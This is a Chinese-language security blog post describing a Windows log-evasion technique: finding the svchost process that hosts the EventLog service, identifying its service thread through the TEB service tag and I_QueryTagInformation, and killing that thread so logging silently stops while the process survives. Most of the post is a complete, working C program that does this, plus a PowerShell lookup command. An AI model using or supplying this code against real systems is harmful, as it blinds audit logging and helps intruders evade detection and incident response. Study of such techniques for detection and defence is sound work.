idiotc4t's blog
搜索文档…
基于线程结束的EventLog绕过

简介

通常windows系统本身会记录一些较为特殊的操作,如登录、注销,而实现这部分功能通常是由windows自生的服务实现,windows 系统服务主要由svchost.exe进程进行启动和管理,本文会介绍如何从操作系统中识别并结束EventLog的服务线程,从而绕过windows的日志记录。

流程

  1. 1.
    找到EventLog对应的进程
  2. 2.
    找到EventLog进程具体的服务线程
  3. 3.
    结束服务线程

原理

首先我们需要定位到EventLog服务对应的进程,使用windows的services.msc查看发现windows服务是由svchost指定-s(从选定组中加载该标志指定的服务)参数查询注册服务进行启动(HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Parameters下的servicedll键值对),那我们可以通过遍历系统所有进程的commandline是否带有eventlog服务名来进行识别,主要实现方式由两种,通过进程快照遍历或通过调用wmi接口来识别。
对服务不了解的朋友可以看看这个
1
Get-WmiObject -Class win32_service -Filter "name = 'eventlog'" | select -exp ProcessId
Copied!
获取到进程号之后我们需要识别具体的服务线程,在windows vista之后的系统,具体的服务线程约定使用servicemain作为入口点,同时服务线程自身会带有一个等同于服务名的tag,这个tag可以帮我们识别这个线程是否是我们寻找的,在x64线程teb中0x1720偏移的位置存放着service tag的数字标识句柄(这玩意不是句柄),我们可以那这个数字标识使用I_QueryTagInformation api查询到具体service tag内容。
最后我们把识别出来的服务线程结束就好,因为转换成分派控制器的主线程依旧存在,所以进程本身并不会结束,这样就能很好的架空的日志服务。

代码

运行效果:
1
#include <Windows.h>
2
#include <tchar.h>
3
#include <stdio.h>
4
#include <winternl.h>
5
#include <Tlhelp32.h>
6
#include <string.h>
7
#include <strsafe.h>
8
#pragma comment(lib, "ntdll.lib")
9
10
11
typedef long NTSTATUS;
12
13
/**/
14
typedef struct _THREAD_BASIC_INFORMATION
15
{
16
NTSTATUS exitStatus;
17
PVOID pTebBaseAddress;
18
CLIENT_ID clientId;
19
KAFFINITY AffinityMask;
20
int Priority;
21
int BasePriority;
22
int v;
23
24
} THREAD_BASIC_INFORMATION, * PTHREAD_BASIC_INFORMATION;
25
26
typedef enum _SC_SERVICE_TAG_QUERY_TYPE
27
{
28
ServiceNameFromTagInformation = 1,
29
ServiceNameReferencingModuleInformation,
30
ServiceNameTagMappingInformation,
31
} SC_SERVICE_TAG_QUERY_TYPE, * PSC_SERVICE_TAG_QUERY_TYPE;
32
33
typedef struct _SC_SERVICE_TAG_QUERY
34
{
35
ULONG processId;
36
ULONG serviceTag;
37
ULONG reserved;
38
PVOID pBuffer;
39
} SC_SERVICE_TAG_QUERY, * PSC_SERVICE_TAG_QUERY;
40
41
typedef ULONG(WINAPI* pI_QueryTagInformation)(PVOID, SC_SERVICE_TAG_QUERY_TYPE, PSC_SERVICE_TAG_QUERY);
42
typedef NTSTATUS(WINAPI* pNtQueryInformationThread)(HANDLE, THREAD_INFORMATION_CLASS, PVOID, ULONG, PULONG);
43
44
45
BOOL CheckEventProcess(DWORD ProcessId) {
46
BOOL result = 0;
47
PROCESS_BASIC_INFORMATION pbi = { 0 };
48
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, false, ProcessId);
49
if (!hProcess)
50
{
51
return false;
52
}
53
DWORD status = NtQueryInformationProcess(hProcess, (PROCESSINFOCLASS)0, &pbi, sizeof(PVOID) * 6, NULL);
54
55
PPEB ppeb = (PPEB)((PVOID*)&pbi)[1];
56
PEB pebdata = { 0 };
57
58
ReadProcessMemory(hProcess, ppeb, &pebdata, sizeof(PEB), NULL);
59
60
PRTL_USER_PROCESS_PARAMETERS prtlp = (&pebdata)->ProcessParameters;
61
RTL_USER_PROCESS_PARAMETERS rtlp = { 0 };
62
63
ReadProcessMemory(hProcess, prtlp, &rtlp, sizeof(RTL_USER_PROCESS_PARAMETERS), NULL);
64
65
PWSTR lpBuffer = (PWSTR)(&rtlp)->CommandLine.Buffer;
66
USHORT len = (USHORT)(&rtlp)->CommandLine.Length;
67
68
LPWSTR lpStrings = (LPWSTR)malloc(len);
69
70
ZeroMemory(lpStrings, len);
71
72
ReadProcessMemory(hProcess, lpBuffer, lpStrings, len, NULL);
73
74
75
if (wcsstr(lpStrings, L"EventLog"))
76
{
77
result = true;
78
}
79
80
free(lpStrings);
81
82
return result;
83
}
84
85
DWORD GetEventLogProcessId() {
86
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
87
if (INVALID_HANDLE_VALUE == hSnapshot)
88
{
89
return 0;
90
}
91
DWORD logpid = 0;
92
PROCESSENTRY32W pe32 = { 0 };
93
pe32.dwSize = sizeof(PROCESSENTRY32W);
94
BOOL bRet = Process32FirstW(hSnapshot, &pe32);
95
while (bRet)
96
{
97
if (CheckEventProcess(pe32.th32ProcessID))
98
{
99
logpid = pe32.th32ProcessID;
100
CloseHandle(hSnapshot);
101
return logpid;
102
}
103
bRet = Process32NextW(hSnapshot, &pe32);
104
}
105
CloseHandle(hSnapshot);
106
return 0;
107
}
108
109
110
BOOL CheckAndFuckEventProcess(DWORD processId, DWORD threadId, PULONG pServiceTag)
111
{
112
113
114
;
115
HANDLE hProcess = NULL;
116
HANDLE hThread = NULL;
117
HANDLE hTag = NULL;
118
HMODULE advapi32 = NULL;
119
THREAD_BASIC_INFORMATION tbi = { 0 };
120
pI_QueryTagInformation I_QueryTagInformation = NULL;
121
pNtQueryInformationThread NtQueryInformationThread = NULL;
122
SC_SERVICE_TAG_QUERY tagQuery = { 0 };
123
WCHAR Buffer[MAX_PATH] = { 0 };
124
125
NtQueryInformationThread = (pNtQueryInformationThread)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtQueryInformationThread");
126
hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, threadId);
127
NtQueryInformationThread(hThread, (THREAD_INFORMATION_CLASS)0, &tbi, 0x30, NULL);//内存对齐
128
hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, processId);
129
ReadProcessMemory(hProcess, ((PBYTE)tbi.pTebBaseAddress + 0x1720), &hTag, sizeof(HANDLE), NULL);
130
131
132
advapi32 = LoadLibrary(L"advapi32.dll");
133
134
I_QueryTagInformation = (pI_QueryTagInformation)GetProcAddress(advapi32, "I_QueryTagInformation");
135
tagQuery.processId = processId;
136
tagQuery.serviceTag = (ULONG)hTag;
137
I_QueryTagInformation(NULL, ServiceNameFromTagInformation, &tagQuery);
138
if (tagQuery.pBuffer != 0)
139
{
140
StringCbCopy(Buffer, MAX_PATH, (PCWSTR)tagQuery.pBuffer);
141
}
142
else
143
{
144
145
CloseHandle(hProcess);
146
CloseHandle(hThread);
147
FreeLibrary(advapi32);
148
return 0;
149
}
150
151
if (!wcscmp(Buffer, L"EventLog"))
152
{
153
TerminateThread(hThread,0);
154
wprintf((WCHAR*)L"%d %s\n", threadId, Buffer);
155
}
156
LocalFree(tagQuery.pBuffer);
157
CloseHandle(hProcess);
158
CloseHandle(hThread);
159
FreeLibrary(advapi32);
160
161
return 1;
162
}
163
164
int main() {
165
DWORD dwPid;
166
167
dwPid = GetEventLogProcessId();
168
169
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
170
if (INVALID_HANDLE_VALUE == hSnapshot)
171
{
172
return 0;
173
}
174
THREADENTRY32 te32 = { 0 };
175
te32.dwSize = sizeof(THREADENTRY32);
176
177
BOOL bRet = Thread32First(hSnapshot, &te32);
178
while (bRet)
179
{
180
if (te32.th32OwnerProcessID == dwPid)
181
{
182
CheckAndFuckEventProcess(dwPid, te32.th32ThreadID, NULL);
183
}
184
185
186
bRet = Thread32Next(hSnapshot, &te32);
187
}
188
CloseHandle(hSnapshot);
189
return 0;
190
191
}
Copied!

LINKS

ScTagQuery
Phant0m: Killing Windows Event Log
with knowledge comes power
3gstudent-Blog
3gstudent-Blog
HOWTO: Use I_QueryTagInformation
wj32